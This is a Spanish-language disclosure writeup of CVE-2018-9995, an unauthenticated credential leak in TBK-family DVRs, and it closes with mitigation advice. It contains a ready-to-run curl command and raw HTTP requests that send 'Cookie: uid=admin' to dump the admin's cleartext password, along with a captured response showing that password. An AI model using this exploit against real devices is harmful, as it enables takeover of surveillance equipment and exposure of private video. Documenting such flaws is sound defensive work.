[DVR TBK] bypass de autenticación en DVR (multi vendor ) - CVE-2018-9995
- CVE-2018-9995
Ezequiel Fernandez
Acknowledgements declared by @CapitanAlfa, who wrote this writeup. The platform does not verify them.

El endpoint device.rsp?opt=user&cmd=list del protocolo rsp devuelve la lista de usuarios con sus contraseñas en texto claro cuando la petición incluye la cookie Cookie: uid=admin, sin requerir una sesión válida. Un atacante remoto no autenticado obtiene credenciales de administrador con una única petición HTTP.
El fallo es el mismo que el documentado en CVE-2018-9995 (bypass de autenticación en DVR TBK y fabricantes re-etiquetados: CeNova, QSee, Night Owl, Novo, Pulnix, Securus, XVR 5-en-1, etc.), y se mantiene explotable en 2026.
Componente afectado:
- Endpoint / mecanismo:
GET /device.rsp?opt=user&cmd=list(CGIindex.cgi, protocolorspsobrethttpd)- Stack / versión: firmware
T2017040635_V01(SoC HiSilicon Hi3521a, ARM/armv7l, uClibc)- Precondición: ninguna (sin autenticación; la cookie
uidactúa como identificador de usuario sin validarsession)
Detalle técnico
El handler user&cmd=list del CGI confía en la cookie uid como identidad del usuario que realiza la petición, sin verificar el token de session emitido en el login. Al enviar uid=admin, el servidor responde con el registro del usuario admin, incluido el campo pwd en claro.
El valor de role y los flags de permisos (view, playback, ptz, opt, etc.) en 4294967295 (0xFFFFFFFF) confirman que se trata de una cuenta de administrador con permisos totales.
Datos de soporte:
Cabecera de respuesta:
Server: GNU rsp/1.0,Content-type: text/html; charset=UTF-8.El campo
pwddevuelve la contraseña en claro (sin hash, sin ofuscación).
Credenciales / contexto de prueba: acceso remoto no autenticado al dispositivo.
Paso 1 — Leer la lista de usuarios con Cookie: uid=admin:
curl "http://<host>:85/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

.
Paso 2 — Validar el login con la credencial obtenida:

```
POST /logincheck.rsp?type=1 HTTP/1.1
Host: 192.168.0.131
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:156.0) Gecko/20100101 Firefox/156.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://192.168.0.131
Connection: keep-alive
Referer: http://192.168.0.131/login.rsp
Cookie: language_ch=false
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=admin&userpwd=ce&autologin=0
```- URL
- http://192.168.0.121:8080/device.rsp?opt=user&cmd=list
- Endpoint
- /device.rsp
- Parameter
- ?opt=user&cmd=list
GET /device.rsp?opt=user&cmd=list HTTP/1.1
Host: 192.168.0.121:8080
Cookie: uid=admin
User-Agent: Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)
Accept: */*
Connection: close
HTTP/1.0 200 OK
Content-type: text/html; charset=UTF-8
Server: GNU rsp/1.0
Content-Language: en
Expires: -1
P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT'
Cache-Control: private, max-age=0
Connection: close
Date: Thu, 17 Sep 2026 20:19:57 GMT
{
"result": 0,
"list": [
{
"uid": "admin",
"pwd": "rajabi0016",
"role": 2,
"enmac": 0,
"mac": "00:00:00:00:00:00",
"playback": 4294967295,
"view": 4294967295,
"rview": 4294967295,
"ptz": 4294967295,
"backup": 4294967295,
"opt": 4294967295
}
]
}Account takeover del dispositivo: acceso de administrador que permite exfiltración de vídeo/vigilancia, modificación de configuración, y compromiso total del equipo.
- Actualizar a la ultima version estable disponible, la cual deberia poder cubrir minimamente:
Exigir sesión válida en
device.rspy validar el tokensessionantes de servir datos de usuario (no confiar enuid).Dejar de almacenar/transmitir contraseñas en claro; si el protocolo lo exige, limitar el acceso al mínimo y por canal cifrado.
Adicionalemente:
- No exponer el dispositivo a Internet; ubicarlo detrás de VPN/segmentación de red.
Comments
0